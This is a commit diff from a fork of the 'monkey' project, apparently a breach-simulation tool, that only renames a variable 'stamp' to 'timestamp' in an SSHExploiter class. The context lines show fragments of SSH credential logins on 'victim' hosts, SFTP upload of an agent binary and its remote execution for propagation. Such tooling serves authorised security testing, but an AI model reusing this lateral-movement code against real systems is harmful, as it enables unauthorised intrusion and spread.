forked from p34709852/monkey
Agent: Rename stamp to timestamp in SSHExploiter
This commit is contained in:
parent
e11bd2c7f2
commit
f0112410c9
|
@ -91,7 +91,7 @@ class SSHExploiter(HostExploiter):
|
||||||
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
|
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
|
||||||
logger.error("Failed reading ssh key")
|
logger.error("Failed reading ssh key")
|
||||||
|
|
||||||
stamp = time()
|
timestamp = time()
|
||||||
try:
|
try:
|
||||||
ssh.connect(
|
ssh.connect(
|
||||||
self.host.ip_addr,
|
self.host.ip_addr,
|
||||||
|
@ -108,7 +108,7 @@ class SSHExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
self.add_vuln_port(port)
|
self.add_vuln_port(port)
|
||||||
self.exploit_result.exploitation_success = True
|
self.exploit_result.exploitation_success = True
|
||||||
self._publish_exploitation_event(stamp, True)
|
self._publish_exploitation_event(timestamp, True)
|
||||||
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
||||||
return ssh
|
return ssh
|
||||||
except paramiko.AuthenticationException as err:
|
except paramiko.AuthenticationException as err:
|
||||||
|
@ -117,7 +117,7 @@ class SSHExploiter(HostExploiter):
|
||||||
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}"
|
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}"
|
||||||
)
|
)
|
||||||
logger.info(error_message)
|
logger.info(error_message)
|
||||||
self._publish_exploitation_event(stamp, False, error_message=error_message)
|
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||||
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
||||||
continue
|
continue
|
||||||
except Exception as err:
|
except Exception as err:
|
||||||
|
@ -142,7 +142,7 @@ class SSHExploiter(HostExploiter):
|
||||||
ssh = paramiko.SSHClient()
|
ssh = paramiko.SSHClient()
|
||||||
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
||||||
|
|
||||||
stamp = time()
|
timestamp = time()
|
||||||
try:
|
try:
|
||||||
ssh.connect(
|
ssh.connect(
|
||||||
self.host.ip_addr,
|
self.host.ip_addr,
|
||||||
|
@ -158,14 +158,14 @@ class SSHExploiter(HostExploiter):
|
||||||
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
|
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
|
||||||
self.add_vuln_port(port)
|
self.add_vuln_port(port)
|
||||||
self.exploit_result.exploitation_success = True
|
self.exploit_result.exploitation_success = True
|
||||||
self._publish_exploitation_event(stamp, True)
|
self._publish_exploitation_event(timestamp, True)
|
||||||
self.report_login_attempt(True, user, current_password)
|
self.report_login_attempt(True, user, current_password)
|
||||||
return ssh
|
return ssh
|
||||||
|
|
||||||
except paramiko.AuthenticationException as err:
|
except paramiko.AuthenticationException as err:
|
||||||
error_message = f"Failed logging into victim {self.host} with user: {user}: {err}"
|
error_message = f"Failed logging into victim {self.host} with user: {user}: {err}"
|
||||||
logger.debug(error_message)
|
logger.debug(error_message)
|
||||||
self._publish_exploitation_event(stamp, False, error_message=error_message)
|
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||||
self.report_login_attempt(False, user, current_password)
|
self.report_login_attempt(False, user, current_password)
|
||||||
ssh.close()
|
ssh.close()
|
||||||
continue
|
continue
|
||||||
|
@ -237,7 +237,7 @@ class SSHExploiter(HostExploiter):
|
||||||
if status == ScanStatus.SCANNED:
|
if status == ScanStatus.SCANNED:
|
||||||
raise FailedExploitationError(self.exploit_result.error_message)
|
raise FailedExploitationError(self.exploit_result.error_message)
|
||||||
|
|
||||||
stamp = time()
|
timestamp = time()
|
||||||
try:
|
try:
|
||||||
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
|
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
|
||||||
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
|
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
|
||||||
|
@ -252,12 +252,12 @@ class SSHExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
|
|
||||||
self.exploit_result.propagation_success = True
|
self.exploit_result.propagation_success = True
|
||||||
self._publish_propagation_event(stamp, True)
|
self._publish_propagation_event(timestamp, True)
|
||||||
self.add_executed_cmd(cmdline)
|
self.add_executed_cmd(cmdline)
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
error_message = f"Error running monkey on victim {self.host}: ({exc})"
|
error_message = f"Error running monkey on victim {self.host}: ({exc})"
|
||||||
self._publish_propagation_event(stamp, False, error_message=error_message)
|
self._publish_propagation_event(timestamp, False, error_message=error_message)
|
||||||
raise FailedExploitationError(error_message)
|
raise FailedExploitationError(error_message)
|
||||||
|
|
||||||
def _is_port_open(self, ip: IPv4Address, port: int) -> bool:
|
def _is_port_open(self, ip: IPv4Address, port: int) -> bool:
|
||||||
|
@ -317,7 +317,7 @@ class SSHExploiter(HostExploiter):
|
||||||
monkey_path_on_victim: PurePath,
|
monkey_path_on_victim: PurePath,
|
||||||
) -> ScanStatus:
|
) -> ScanStatus:
|
||||||
try:
|
try:
|
||||||
stamp = time()
|
timestamp = time()
|
||||||
with ssh.open_sftp() as ftp:
|
with ssh.open_sftp() as ftp:
|
||||||
ftp.putfo(
|
ftp.putfo(
|
||||||
agent_binary_file_object,
|
agent_binary_file_object,
|
||||||
|
@ -330,7 +330,7 @@ class SSHExploiter(HostExploiter):
|
||||||
return ScanStatus.USED
|
return ScanStatus.USED
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
error_message = f"Error uploading file into victim {self.host}: ({exc})"
|
error_message = f"Error uploading file into victim {self.host}: ({exc})"
|
||||||
self._publish_propagation_event(stamp, False, error_message=error_message)
|
self._publish_propagation_event(timestamp, False, error_message=error_message)
|
||||||
self.exploit_result.error_message = error_message
|
self.exploit_result.error_message = error_message
|
||||||
return ScanStatus.SCANNED
|
return ScanStatus.SCANNED
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue